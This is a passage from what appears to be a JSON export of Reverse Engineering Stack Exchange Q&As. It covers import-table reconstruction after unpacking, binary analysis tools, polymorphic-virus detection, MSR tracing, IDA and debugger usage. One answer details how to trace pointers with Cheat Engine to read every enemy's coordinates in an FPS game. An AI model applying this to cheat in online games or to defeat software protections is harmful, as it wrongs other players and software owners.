performs the inverse of <code>GetProcAddress</code>:  given one of these pointers to imported symbols, it will determine in which DLL the pointer resides, and which specific exported entry is referred to by the pointer.  So for example, we might resolve <code>0x76AE3F3C</code> to <code>Kernel32!CreateFileW</code>.  Now we use this textual information to recreate <code>IMAGE_IMPORT_DESCRIPTOR</code> structures describing each imported DLL, use the original addresses of the <code>IMAGE_THUNK_DATA</code> arrays, store the names of the DLLs and imported symbols somewhere in the binary (perhaps in a new section), and point the <code>IMAGE_THUNK_DATA</code> entries to those new names.</p>\n\n<p><a href=\"http://www.woodmann.com/collaborative/tools/index.php/ImpREC%E2%80%8E\">ImpRec</a> is a popular tool that automates most or all of this process, depending upon the packer.  What I just described is reflective of reality in about 95% of cases.  More serious protections such as video game copy protections and tricky custom malware use further tricks that stymie the reconstruction process.</p>\n"
    },
    {
        "Id": "2147",
        "CreationDate": "2013-05-31T03:25:59.193",
        "Body": "<p>Are there techniques for dynamic analysis of shared libraries? I know for example that DLLs have an entry point, but how about calling other exported functions? Do I need to write a custom executable that calls exports for each DLL I want to analyze?</p>\n",
        "Title": "Dynamic Analysis for Shared Libraries?",
        "Tags": "|dynamic-analysis|dll|",
        "Answer": "<p>DynamoRIO could be very good for more in-depth dynamic library analysis. DynamoRIO is a dynamic binary translator that works on both Linux and Windows, for both x86 and x86-64.</p>\n\n<p>To analyse DLLs using DynamoRIO, you would register module load and unload events using the <code>dr_register_module_load_event</code> and <code>dr_register_module_unload_event</code> functions, respectively.</p>\n\n<p>You can also register events that allow you to manipulate instructions before they are executed. These events would enable you to isolate code that is executed from a particular DLL, and apply custom instrumentation to that DLL.</p>\n"
    },
    {
        "Id": "2152",
        "CreationDate": "2013-05-31T12:59:09.943",
        "Body": "<p>I am trying to use <a href=\"http://code.google.com/p/smiasm/\" rel=\"nofollow\">Miasm</a> to reverse some binaries in i386 and amd64 instruction sets, but I encounter a few problem when using it.</p>\n\n<p>First, the installation phase went nice. I managed to install <code>tinycc</code> with the small modification of the <code>Makefile</code> and the installation script did not complain.</p>\n\n<p>But, once I tried to use the script <code>miasm/example/disas_and_graph.py</code>, the CFG stop suddenly shortly after the entrypoint.</p>\n\n<p>Strangely, I installed Miasm on a 32bits virtual machine and it worked fine and displayed the whole CFG properly. So, did I miss something about a restriction or a bug on amd64 architecture ?</p>\n",
        "Title": "Is miasm working on 64bits architecture?",
        "Tags": "|amd64|",
        "Answer": "<p>Ok, I had a few e-mails with Fabrice Desclaux (aka serpilliere), one of the main contributor of miasm.</p>\n\n<p>In fact, miasm (version 1) cannot disassemble amd64 opcodes (but do not issue any error if such executable is encountered). What is really misleading, is that the elf-64 is handled but the disassembler fail to recognize the amd64 opcodes.</p>\n\n<p>So, this behavior is \"normal\" even if no error message is issued.</p>\n\n<p>The good news, is that the main contributor of miasm is working on a second version of the software (<code>miasm2</code>) which is handling amd64 (and with a lot of new features).</p>\n"
    },
    {
        "Id": "2159",
        "CreationDate": "2013-06-01T10:36:24.940",
        "Body": "<p>I have the following hex parts and I have a strong suspicion that behind them is a date of an event:</p>\n\n<pre><code>2013.05.23  20:35:00    08014273ed2071a6800017\n2013.05.23  21:45:00    08014273ed246cf0000017\n2013.05.24  17:10:00    08014273ed675173000017\n2013.05.25  01:10:00    08014273ed82900f000017\n2013.05.25  02:15:00    08014273ed8667b3800017\n2013.05.25  17:15:00    08014273edb9c78e800017\n2013.05.25  19:55:00    08014273edc2ee93000017\n2013.05.25  20:30:00    08014273edc52a5a000017\n2013.05.29  06:25:00    08014273eede5079000017\n2013.05.29  06:35:00    08014273eedeac45000017\n2013.05.29  06:40:00    08014273eedf09c6800017\n2013.05.30  21:40:00    08014273ef64b021800017\n</code></pre>\n\n<p>The first and the second are my observations of the event (I do not have an exact time for minutes and seconds), also it might be in my time zone. In the third column is hex value, which I suspect to be a presentation of this time. \nCurrently I assume that <code>08</code> and <code>17</code> are just delimiters. </p>\n\n<p>I was looking for a timestamp representation and date time, but currently with no success.\nAny guess what it can be?</p>\n\n<p>P.S an update with some completely different dates. I will try to find also the earlier date possible. Thanks for help</p>\n\n<pre><code>2013.01.01  00:50:00    08014273bf2ba0ed000017\n2012.12.15  03:25:00    08014273b9bbb8cd000017\n</code></pre>\n",
        "Title": "Trying to reverse engineer dump of a timestamp",
        "Tags": "|obfuscation|file-format|",
        "Answer": "<p>Following up alahel's answer, the date is indeed a number of milliseconds, but it includes 1 further bit to the left and is from the standard epoch of 1 Jan 1970. For example:</p>\n<pre><code>08014273ed2071a6800017\n      ~^^^^^^^^^^\n</code></pre>\n<p>where it includes the least significant bit from the &quot;7&quot;, so 0x13ed2071a68, which corresponds to:</p>\n<pre><code>2013-05-23 15:34:41:00 (UTC)\n</code></pre>\n<p>There appears to be a 5 hour difference due to timezone.</p>\n<p>The author seems to have cared somewhat about being space-efficient by using exactly 41 bits - capable of reaching the year 2039 (whereas 40 bits would only reach 2004).</p>\n"
    },
    {
        "Id": "2160",
        "CreationDate": "2013-06-01T13:33:26.727",
        "Body": "<p>I am trying to recreate an old game just for the sake of nostalgia and learning something new alongside (I can program in various languages and know a bit of assembly language, but I'm new to reverse engineering). The game is called Banania and looks like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/VNEfD.jpg\" alt=\"enter image description here\"></p>\n\n<p>Now, my problem is finding the level data of this game (It's only one .exe file, nothing else). If I would have made this game, I would have stored the levels (which seem to be of Size 21x13) in a three dimensional array (50x21x13) for 50 total levels.\nHowever, I just can't seem to find any rectangular pattern of that size that look like levels in my hex editor.</p>\n\n<p>How would you try to find it? I'd be grateful for some help.</p>\n\n<p>EDIT: After staring at the binaries for the whole day, I finally found the level data! I discovered it by luck, it was just a large chunk with only about 20 different numbers used. The format is exactly like I expected. Since I know how the levels look, it shouldn't be too hard to guess what integer stands for which item. Apparently, Integers on Windows 3.1 were 16 bit long (at least, that's my guess), that's why I didn't find it at first.</p>\n",
        "Title": "Find level data in binaries?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Based on <a href=\"http://pastebin.com/raw.php?i=t8BG08xf\" rel=\"nofollow\">the output</a> of <a href=\"http://www.solemnwarning.net/page/code#nedump\" rel=\"nofollow\">NE dumper</a>, the level data appears to begin at file offset 0x17600 and each level appears to be 0x200 bytes long.</p>\n"
    },
    {
        "Id": "2161",
        "CreationDate": "2013-06-01T14:33:48.113",
        "Body": "<p>I have a .bin file I would like to analyse. Especially find images embedded in this firmware update.</p>\n\n<ul>\n<li><a href=\"https://code.google.com/p/binwalk/\" rel=\"nofollow\">binwalk</a> couldn't find anything.</li>\n</ul>\n\n<p>What other tools do you know to search for possible embedded files?</p>\n",
        "Title": "Find file signatures inside an unknown file",
        "Tags": "|tools|binary-analysis|file-format|firmware|",
        "Answer": "<p>Your best bet is <a href=\"https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile\" rel=\"nofollow noreferrer\">Hachoir-Subfile</a>. You can pass a file stream to Hachior-Subfile, it will search for all known embedded files and display the location. Some known formats it will calculate the size of the file. This makes it easy to carve out the files using dd. A helpful description of Hachoir-Subfile was left by one of the developers a couple weeks back in a similar <a href=\"https://reverseengineering.stackexchange.com/a/1664/1425\">question</a>.</p>\n"
    },
    {
        "Id": "2167",
        "CreationDate": "2013-06-02T03:08:42.323",
        "Body": "<p>I have recently came across the following sequence of assembly instructions. </p>\n\n<pre><code>call    ds:WSAStartup\npush    ecx\npush    edi\nmov     ecx, 69E65AC4h\nmov     edi, 2776452Ah\npop     edi\npop     ecx\njmp     short loc_ABCD\n</code></pre>\n\n<p>Please help me make sense of these particular 4 instructions below:</p>\n\n<pre><code>mov     ecx, 69E65AC4h\nmov     edi, 2776452Ah\npop     edi\npop     ecx\n</code></pre>\n\n<p>Why would you move direct values into registers, just to over write them with next 2 instructions?</p>\n\n<p><b>ADDED:</b>\nIn regards to <a href=\"https://reverseengineering.stackexchange.com/users/182/rolf-rolles\">Rolf Rolles</a> and <a href=\"https://reverseengineering.stackexchange.com/users/1323/peter-ferrie\">peter ferrie</a> comments bellow. First off, thank you, guys, for your input. I really appreciate it. What puzzles me the most and seems to be relatively interesting is the fact the the executable in question seems to be clean and clear of code obfuscation of any sort. How relevant is such a small amount of obfuscation for AV defeating purposes? I would assume, not too relevant. </p>\n\n<p>I have also came across the post here on RE <a href=\"https://reverseengineering.stackexchange.com/questions/250/what-is-the-purpose-of-mov-edi-edi\"><b>What is the purpose of 'mov edi, edi'?</b></a>  . \nRE user <a href=\"https://reverseengineering.stackexchange.com/users/123/qaz\">QAZ</a> on the accepted answer mentioned something about support of run time hot patching. Could it be something along those lines?</p>\n",
        "Title": "What could this sequence of assembly instructions possibly mean?",
        "Tags": "|disassembly|windows|assembly|x86|",
        "Answer": "<p>Without further information, it looks like deliberate obfuscation:  instructions with no ultimate effect inserted into the code to make it harder to read.  I doubt that code was generated by a compiler.</p>\n"
    },
    {
        "Id": "2169",
        "CreationDate": "2013-06-02T06:03:22.543",
        "Body": "<p>I was working on a hobby AV project using ClamAV's engine. While ClamAV is a good open source engine, it has poor support for detecting polymorphic viruses. The latest updated version failed to detect many instances of Virut and Sality. How do commercial AVs detect polymorphic viruses?</p>\n",
        "Title": "How do AV vendors create signatures for polymorphic viruses?",
        "Tags": "|malware|",
        "Answer": "<p>To detect the polymorphic engine itself - properly - requires a copy of the engine.  That was the case in the past, since the virus carried the engine in order to produce new copies of itself.  The obvious attack against that is server-side polymorphism, where we (\"we\"=the AV industry) are left to guess at the capabilities of the engine, and which can change at any time, in response to our detections.\nHowever, back to the actual question:\ngiven an engine that can produce a sequence like this:</p>\n\n<pre><code>mov reg1, offset_of_crypted\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\nmov reg2, key_for_crypted\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\nmov reg3, size_of_crypted\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\n[decrypt]\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\n[adjust reg3]\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\n[branch to decrypt until reg3 completes]\n</code></pre>\n\n<p>then we can analyse the opcodes that can produce the register assignments, and we know the set of garbage instructions, the decryption methods, the register adjustment, etc.</p>\n\n<p>From there, we can use a state machine to watch for the real instructions, and ignore the fake ones.  The implementation details of that are long and boring, and not suitable as an answer here.\nIt's a one-engine one-algorithm relationship, in most cases.</p>\n\n<p>As a result, the emulator became the most useful tool that we have against that attack, allowing us to essentially \"let the virus decrypt itself\" and then we can see what's underneath (the attack against that is obviously metamorphism, and the simplest implementation is at the source level rather than post-compilation).</p>\n\n<p>So, in short, the answer is generally \"we don't anymore\".  That is, we tend to no longer detect the polymorphic engine itself.  There are of course exceptions to that, but they are few and far between these days.</p>\n"
    },
    {
        "Id": "2173",
        "CreationDate": "2013-06-02T19:01:38.480",
        "Body": "<p>I was reading a <a href=\"http://www.openrce.org/blog/view/1061/Industrial-Grade_Binary-Only_Profiling_and_Coverage\">old blog post on OpenRCE</a> that mentions MSR tracing in the context of binary only profiling and coverage. The only Google hits for this term are a few emails on the Xen mailing list that I am not able to understand. What is MSR tracing?</p>\n",
        "Title": "What is MSR Tracing?",
        "Tags": "|dynamic-analysis|",
        "Answer": "<p>MSR tracing generally refers to using the Intel Model-Specific Registers (MSRs) to obtain trace information from the CPU. Because modern (post-Pentium 4, generally) processors have hardware support for debugging, this can be faster than software-only solutions. There are a few ways this can be done:</p>\n\n<ul>\n<li><p>As described in a <a href=\"http://pedramamini.com/blog/2006-12-13/\" rel=\"nofollow noreferrer\">post by Pedram Amini</a>, one can speed up single-step execution by setting the <code>MSR_DEBUGCTLA</code> MSR and enabling the <code>BTF (single-step on branches)</code> flag. This gives better performance than pure single-stepping, which raises a debug exception on every instruction.</p></li>\n<li><p>One can use the \"<code>Branch Trace Store (BTS)</code>\" facility to log all branches into a buffer in memory; furthermore, the processor can be configured to raise an interrupt whenever this buffer is filled, so you can flush it to disk (or whatever you like). On some models there are also options for tracing only user-mode (CPL > 0) or only kernel-mode (CPL = 0) code. Sections 17.4.5-6 and 17.4.9 of the Intel Software Developer's Manual Volume 3B are required reading if you go this route.</p>\n\n<p>In Linux, there is some kernel support for this, though as far as I can tell none of it has made it into the stock kernel. In 2011 there was a <a href=\"http://lwn.net/Articles/444885/\" rel=\"nofollow noreferrer\">proposed patch by Akihiro Nagai</a> to the <code>perf</code> tool to add a <code>perf branch trace</code> command which would use the Intel BTS system; a <a href=\"http://events.linuxfoundation.org/slides/2011/linuxcon-japan/lcj2011_nagai.pdf\" rel=\"nofollow noreferrer\">presentation</a> on this is also available. Also, in 2007, there was a <a href=\"http://lwn.net/Articles/259339/\" rel=\"nofollow noreferrer\">patch proposed</a> to <code>ptrace</code> to expose the BTS facility.</p>\n\n<p>I don't know of anything off-the-shelf that can do this in Windows.</p></li>\n<li><p>Finally, If you only care about a fairly small (4-16) number of branches, you can use the <code>Last Branch Recording (LBR)</code> feature. This has the advantage of having basically no overhead, but the fairly major downside that it will only give you the last N branches, where N varies depending on the processor (from as few as 4 to as many as 16). Details on this can be found in Section 17.4.8 of the Intel developer's manual.</p>\n\n<p>One interesting note is that Haswell (Intel's just-released processor architecture) <a href=\"http://lwn.net/Articles/535152/\" rel=\"nofollow noreferrer\">has a version of this</a> that will keep track of calls and returns, effectively giving you a small shadow call stack, which can be quite useful in some scenarios.</p>\n\n<p>LBR has also been used in <a href=\"http://research.microsoft.com/pubs/153179/sim-ccs09.pdf\" rel=\"nofollow noreferrer\">at least one</a> security system to verify that a function is only being called from a trusted source, but this is getting a bit off-topic for the question.</p></li>\n</ul>\n\n<p>So, to sum up, MSR tracing is a way of doing tracing faster using hardware support in Intel processors. It's very appealing theoretically, but there isn't (yet) a lot of support for it in commonly available tools.</p>\n\n<p>Sources:</p>\n\n<ul>\n<li><p><a href=\"http://download.intel.com/products/processor/manual/325384.pdf\" rel=\"nofollow noreferrer\">Intel Software Developer's Manual, Volume 3</a></p></li>\n<li><p><a href=\"https://stackoverflow.com/questions/14670586/what-is-the-overhead-of-using-intel-last-branch-record\">StackOverflow: What is the overhead of using Intel Last Branch Record?</a></p></li>\n<li><p><a href=\"http://pedramamini.com/blog/2006-12-13/\" rel=\"nofollow noreferrer\">Pedram Amini: Branch Tracing with Intel MSR Registers</a></p></li>\n<li><p><a href=\"http://www.codeproject.com/Articles/517466/Last-branch-records-and-branch-tracing\" rel=\"nofollow noreferrer\">Last branch records and branch tracing</a></p></li>\n</ul>\n"
    },
    {
        "Id": "2176",
        "CreationDate": "2013-06-03T06:13:11.763",
        "Body": "<p>I am reversing a game using Cheat Engine and OllyDBG, through this memory addresses within an FPS game  are read and monitored, these addresses will contain the coordinates(xyz) of enemies.</p>\n\n<p>My Objective is to find an address or a pattern that will allow me to loop through up to 32 enemies in order to read all their coordinates, in order to do this I have been attempting to find a pattern between each of their addresses with no luck. I have been able to collect 3 different enemy addresses, this information is useful but searching through 32 addresses is a task which requires more effort than I believe is necessary.</p>\n\n<p>As stated I have access to the first 3 enemy addresses and if from that information it is possible to trace back to the base either through Cheat Engine or other reverse engineering software the process would be appreciated.</p>\n\n<p>Ultimately my question is, is there a way to detect a pointer array in memory from one of its addresses, for example if if I have 3 enemy coordinates can I somehow trace the memory location back to an address that accesses all 32 enemy addresses whether it is by using cheat engine or another reversing tool.</p>\n",
        "Title": "How to find arrays of objects (entities, enemies) in a game I'm reversing with Cheat Engine?",
        "Tags": "|disassembly|ollydbg|debugging|debuggers|struct|",
        "Answer": "<p>First Find the address you are looking for. Then cycle this:</p>\n\n<ol>\n<li>Find the base (the beginning of the record).</li>\n<li>Dissect the memory around this to recognize array or linked list.</li>\n<li>Search the memory for pointer to that base.</li>\n</ol>\n\n<p><strong>Example</strong>:</p>\n\n<p>Scan for parameter finding the address <code>30000032</code>.</p>\n\n<p>Find out the base of this record is <code>30000000</code>.</p>\n\n<p>Checking memory - nothing fancy around.</p>\n\n<p>Finding pointer to the base at <code>20000004</code>.</p>\n\n<p>Find out the base of the record is <code>20000000</code>.</p>\n\n<p>Checking memory - still nothing...</p>\n\n<p>Finding pointer to the base at <code>10000008</code>.</p>\n\n<p>Finding out the base is <code>10000000</code>.</p>\n\n<p>Checking memory - all pointers to objects I am looking for are 12 bytes away from each other. (Obviously this is some sort of collection.)</p>\n\n<p>Last memory scan for pointer to make sure I am not wrong at <code>0000040</code>.</p>\n\n<p>Find pointer to that collection, and right after it: count of the objects in the collection.</p>\n\n<p>Restart the game/computer few times to find a consistent pointer to that address.</p>\n\n<p>Reward myself with a beer for the good work.</p>\n\n<p><strong>How to find the base</strong>: I like to use the \"pointer scan\", and check the last offset. The smallest from the most commonly found, is usually the correct one.</p>\n\n<p>Sometimes, I am trying to find a record, at the beginning of allocated memory, and in this case I am sure something is base.</p>\n\n<p>Another trick is to find two one after another in memory, determine their \"max size\", and this means the base must be no further than this number back in the memory.</p>\n\n<p><strong>How to recognize collections</strong>: Most of them are EXTREMELY organized, with specific offset, or have pointers to same type of objects.</p>\n\n<p>Like if you have:</p>\n\n<pre><code>Pointer to Player 1 data,\n4 Bytes\n4 Bytes\nPointer to Player 2 data,\n4 Bytes\n4 Bytes\nPointer to Player 3 data\n</code></pre>\n\n<p>It should ring a bell.</p>\n\n<p>Keep in mind that such alignment may randomly happen in the source, so try to search for: Player 3 data, Player 3 data +/- 4, Player 3 data +/- 8. </p>\n\n<p>Anyway, if you find something like this, you are most likely really close.</p>\n\n<p>This works for me, hope it works for you guys too.</p>\n"
    },
    {
        "Id": "2178",
        "CreationDate": "2013-06-03T08:36:41.400",
        "Body": "<p>I manage my structures in C files, the header might look like this:</p>\n\n<pre><code>#pragma pack(0)\n\ntypedef struct\n{\n    short important_value;\n    char  _A[2]; // unknown\n    int   interesting_value;\n} STRUCT;\n</code></pre>\n\n<p>I loaded this into IDA via <kbd>Ctrl</kbd>+<kbd>F9</kbd>. Now I find out more about the structure, seeing that <code>_A</code> contains <code>short imaginary_value</code>.</p>\n\n<p>When I try to reload this in IDA via <kbd>Ctrl</kbd>+<kbd>F9</kbd>, nothing happens. When I delete the structure in IDA, parse the C file and re-create the structure, I see the new structure, however all instances of <code>STRUCT</code> in the database are deleted.</p>\n\n<p>So the question is, how do I reload the structure without removing all instances from the database.</p>\n",
        "Title": "How to let IDA reload a structure from a C file?",
        "Tags": "|ida|",
        "Answer": "<p>Go to the <code>Local Types</code> (<code>View-&gt;Open Subviews-&gt;Local Types</code> or <kbd>Shift</kbd> + <kbd>F1</kbd>) window and then edit it from there by right clicking and clicking on <code>edit</code> on your structure's entry on the list.</p>\n"
    },
    {
        "Id": "2181",
        "CreationDate": "2013-06-03T17:03:07.547",
        "Body": "<p>On many embedded systems, a great deal of communication with devices is done by reading and writing to memory-mapped I/O (MMIO) addresses in software. Supposing that I have access to the physical device, and a copy of the firmware that I can load in IDA, how can I figure out which devices are at which addresses?</p>\n\n<p>So far I've just been making guesses by looking at the code, string references (e.g., if a function prints out \"Initializing timer interrupt\" I can guess that maybe some of the addresses are for configuring a timer). But surely <em>something</em> must know where all the devices live in memory, because something is responsible for routing memory reads/writes to the correct device.</p>\n\n<p>So, is there a more systematic way to derive this information?</p>\n",
        "Title": "How can I figure out the device memory map for an embedded system?",
        "Tags": "|hardware|embedded|",
        "Answer": "<blockquote>\n  <p>But surely something must know where all the devices live in memory, because something is responsible for routing memory reads/writes to the correct device.</p>\n</blockquote>\n\n<p>In embedded devices there's nothing like PCI (well, it may be present but it's just one of the many HW blocks). So you can't just scan all possibilities to discover the existing devices. The code must know where everything is.</p>\n\n<p>That said, there are some sources of information you may try to find.</p>\n\n<ol>\n<li><p>Datasheets - always the best choice. Even if there are typos and c&amp;p errors it still beats anything else. Note that many manufacturers have separate <em>datasheets</em> for pinout, electrical/temperature characteristics of specific chips, and <em>user manuals</em> (also called software or programming manuals) which are shared among many chips in the same family. You usually need the latter, though sometimes the former can also give some useful hints.</p></li>\n<li><p><em>Any</em> source code (OS, drivers, etc) you may find for the device. Even if it's not for the specific hardware block you're interested in, the headers may include defines for it.</p></li>\n<li><p>If you can't find the exact match for your chip, look for anything in the same family - often the differences are just sizes of some blocks or number of ports.</p></li>\n<li><p>Look at the docs for the same HW blocks in <em>any</em> chip of this manufacturer. Some makers reuse their IP blocks across architectures - e.g. Infineon used pretty much the same GPIO blocks in their E-GOLD (C166) and S-GOLD (ARM) basebands. Renesas is another example - they reused IP blocks from SuperH series in their ARM chips.</p></li>\n<li><p>Some hardware is standardized across all architectures and manufacturers, e.g.: PCI, USB controllers (OHCI, EHCI, XHCI), SD host controllers, eMMC and so on.</p></li>\n</ol>\n\n<p><strong>EDIT</strong>: sometimes, the hardware <em>external</em> to chip may be connected via an <em>external bus interface</em> (or external memory interface, or many other names). This is usually present in the bigger chips with at least a hundred pins. This interface can be programmable, and you can set up which address ranges go to which set of pins. Often there are also so-called <em>chip select</em> (CS) lines involved, which allow multiplexing the same set of pins for accessing several devices, so that one range of addresses will assert CS1, the other CS2 and so on. If you have such a set up, you need to find out the code which initializes the external interface, or dump its configuration at runtime. If you can't do that, you can try looking for memory accesses which correspond to the register layout of the external chip (such as an Ethernet controller), modulo some base address in the CPU's address space.</p>\n"
    },
    {
        "Id": "2185",
        "CreationDate": "2013-06-03T22:45:34.807",
        "Body": "<p><a href=\"http://www.openwatcom.org\" rel=\"nofollow\">OpenWatcom's</a> debugger just executes the binary instead of single-stepping through it, when I attempt the following steps:</p>\n\n<ol>\n<li><code>File-&gt;Open</code>, select executable</li>\n<li><code>Run-&gt;Trace Into</code></li>\n</ol>\n\n<p>This attempt <a href=\"http://chat.stackexchange.com/transcript/message/9732918#9732918\">is on Windows XP</a>.</p>\n\n<p>How do I single step through a program using OpenWatcom's debugger?</p>\n",
        "Title": "How to debug using OpenWatcom's debugger?",
        "Tags": "|windows|debuggers|",
        "Answer": "<p>Okay, Windows XP, OpenWatcom. I am using OpenWatcom 1.9. When trying to reproduce your problem, I used <code>calc.exe</code> from Windows XP for which there are no Watcom debug symbols available (only the PDB format from Microsoft, which Watcom doesn't support <em>at all</em>).</p>\n\n<p>When dismissing the open dialog from your first step, we get the assembly view like this. I am returning from that call (<code>Run -&gt; Until Return</code>) a few times and realize that the call stack shows I am still in the loader phase.</p>\n\n<p><img src=\"https://i.stack.imgur.com/LjloV.png\" alt=\"enter image description here\"></p>\n\n<p>The most logical thing to do now would be to break at either <code>kernel32!BaseThreadInitThunk</code> which is basically <em>the</em> entry point for any Win32 thread, including the very first in a process, but isn't exported (and, remember, we have no symbols). For a writeup on the startup process, see <a href=\"http://abdelrahmanogail.wordpress.com/2010/11/05/thread-basics/\" rel=\"nofollow noreferrer\">here</a> or the \"Windows Internals\" book. The next possible candidate would be <code>ntdll!RtlUserThreadStart</code> which also isn't exported and therefore unavailable.</p>\n\n<p>So, assuming you really have no modern debugger (WinDbg, cdb, let alone IDA, Hopper and friends) available, and don't want to use <a href=\"http://live.sysinternals.com/livekd.exe\" rel=\"nofollow noreferrer\"><code>livekd.exe</code> from SysInternals</a> (which however requires a recent <code>dbghelp.dll</code>) the only method that seems to be reasonable is to load your target executable into an editor (<a href=\"http://www.ntcore.com/exsuite.php\" rel=\"nofollow noreferrer\">CFF Explorer comes to mind</a>) and put an <code>int3</code> (<code>cc</code>) instruction at the entry point or simply move the entry point elsewhere. In my case I chose to overwrite the <code>push 70h</code> (<code>6A 70</code>) with <code>int3; nop</code> (<code>CC 90</code>). That enabled me to break at the beginning of the program (not considering TLS callbacks or anything like that, though).</p>\n\n<p>Another less intrusive method is to use the above mentioned CFF Explorer or really any suitable tool to give you the VA of the entry point. Since we're talking about Windows XP we need not worry about ASLR or anything like that. </p>\n\n<p><img src=\"https://i.stack.imgur.com/Z8YPK.png\" alt=\"enter image description here\"></p>\n\n<p>The entry point in our case is at RVA <code>0x12475</code>, which the Address Converter translates to:</p>\n\n<p><img src=\"https://i.stack.imgur.com/Henkx.png\" alt=\"enter image description here\"></p>\n\n<p>VA <code>0x1012475</code>. Sweet. Now we can try to let OpenWatcom stop at this address. Setting a bpx at this address (<code>Break -&gt; View All -&gt; Rightclick -&gt; New</code>, enter address) and then pressing <kbd>F5</kbd> (for \"Go\") to skip the startup phase for the process gets us straight to the entry point.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ZFfzH.png\" alt=\"enter image description here\"></p>\n\n<p>From there we can use <kbd>F8</kbd> for further single-stepping. And I'm sure similar to the experience we shared during the startup phase, any little thing that changed since the debugger was last adjusted to a more recent OS will trip you (or rather the OW debugger) up. Short of switching debuggers, you might want to make heavy use of <code>Break -&gt; On Debug Message</code>, but even that seemed of little use when I tried it.</p>\n\n<h1>Conclusion</h1>\n\n<p>It's possible, but heck it's tedious and it may fall short of your needs at any point.</p>\n\n<p>Quite frankly, some debuggers are better left alone when no source is available (assembly debugging). Admittedly I am not as familiar with the Watcom debugger as with GDB or WinDbg, but I've used it in the past and found it pure horror <em>with</em> symbols. That impression will likely only get worse <em>without</em> symbols. I find myself confirmed in that sense from looking into the issue you were experiencing.</p>\n\n<h2>20th century debugging</h2>\n\n<p>OpenWatcom, while still being \"developed\" is old. Its roots are in the old Sybase product Watcom, which had a broad following. Problem is, that this product existed even before Windows 2000. So I don't think you can expect a lot from it, as most people these days are using compilers and debuggers with better support. Be it WinDbg or be it GDB if you happen to use MinGW or something like that.</p>\n"
    },
    {
        "Id": "2190",
        "CreationDate": "2013-06-04T19:47:44.587",
        "Body": "<p>IDAPython is great plugin in IDA. It is so handy to write small script to decode, decrypt or fix (patch) a binary in IDA.  I can just write, load and run a script, and can use <code>print</code> for the usual shotgun debugging. But when I develop a bigger IDAPython script, I need a way to debug it. </p>\n\n<p>I have searched and found that I can debug IDAPython with <a href=\"http://wingware.com/doc/howtos/idapython\">WingIDE</a> but I want to find another that doesn't require WingIDE. Is there another way to debug IDAPython scripts?</p>\n",
        "Title": "How to debug an IDAPython script from within IDA?",
        "Tags": "|python|idapython|ida|",
        "Answer": "<p>UPDATE: This seems to be obsolete.</p>\n\n<p>You can debug IDAPython scripts using Python Tools for Visual Studio. It is completely free, and very easy to use.</p>\n\n<p>See <a href=\"http://sark.readthedocs.org/en/latest/debugging.html\" rel=\"nofollow noreferrer\">this tutorial</a> for this information.</p>\n"
    },
    {
        "Id": "2194",
        "CreationDate": "2013-06-07T01:11:42.543",
        "Body": "<p>Let's take a look of how IDA displays address of local variable. For instance:</p>\n\n<pre><code>MOV EAX, [EBP + var_4]\n</code></pre>\n\n<p>As we all know as far as local variables go, they are located at lower addresses of EBP.</p>\n\n<p><img src=\"https://i.stack.imgur.com/XDoh3.png\" alt=\"Stack Frame\"></p>\n\n<p>Though, I have been taking it for granted and inevitable, I am still very curious. Why does IDA display local variable offset as <strong><code>[EBP + var]</code></strong>, not <strong><code>[EBP - var]</code></strong>?</p>\n\n<p>Thank you so much.</p>\n",
        "Title": "IDA EBP variable offset",
        "Tags": "|disassembly|assembly|static-analysis|callstack|ida|",
        "Answer": "<p>Have a look at the <code>var_4</code> definition at the start of the function:</p>\n\n<pre><code>var_4 = dword ptr -4\n</code></pre>\n\n<p>So it's actually negative as expected.</p>\n\n<p>For a more complete picture, use <kbd>Ctrl+K</kbd> or double-click/Enter on the stack var to see the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/488.shtml\">stack frame layout</a>:</p>\n\n<pre><code>-00000018 ; Two special fields \" r\" and \" s\" represent return address and saved registers.\n-00000018 ; Frame size: 18; Saved regs: 4; Purge: 0\n-00000018 ;\n-00000018\n-00000018 var_18          dd ?\n-00000014 var_14          dd ?\n-00000010 var_10          db 12 dup(?)\n-00000004 var_4           dd ?\n+00000000  s              db 4 dup(?)\n+00000004  r              db 4 dup(?)\n+00000008 arg_0           dd ?\n+0000000C\n+0000000C ; end of stack variables\n</code></pre>\n"
    },
    {
        "Id": "2197",
        "CreationDate": "2013-06-07T21:36:26.960",
        "Body": "<p>I came across a small function whose only side effects were to modify the state of some processor flags. When I decompiled this function using the Hex Rays decompiler, I simply got an empty function, which is not useful at all in figuring out what the function does. Instead I had to look up each instruction in the assembly language manual and read the pseudocode to determine the net effect of the function. Is there some tool I can paste assembly instructions into and it will spit out <em>all</em> side effects, including flags? I'm interested in x86.</p>\n",
        "Title": "Take A Snippet of Assembly and Make All Side Effects Explicit?",
        "Tags": "|assembly|x86|ida|",
        "Answer": "<p>Hex-Rays performs liveness analysis and dead code elimination, which in the case of your function, it sounds like it decided everything was dead.  I think it's impossible to tell Hex-Rays via __usercall that the return location for some function is in a flag location, so under that assumption, Hex-Rays can't help in this situation.</p>\n\n<p>What you want is a tool that is capable of rendering the intermediate language translation for a given instruction or block of instructions.  To that extent, tools such as BitBlaze, BAP, and miasm can help.  Also see <a href=\"http://edmcman.bitbucket.org/blog/2013/02/27/bap-for-everyone/\">this link</a> for a language-agnostic interface to BAP.</p>\n"
    },
    {
        "Id": "2209",
        "CreationDate": "2013-06-08T16:43:26.337",
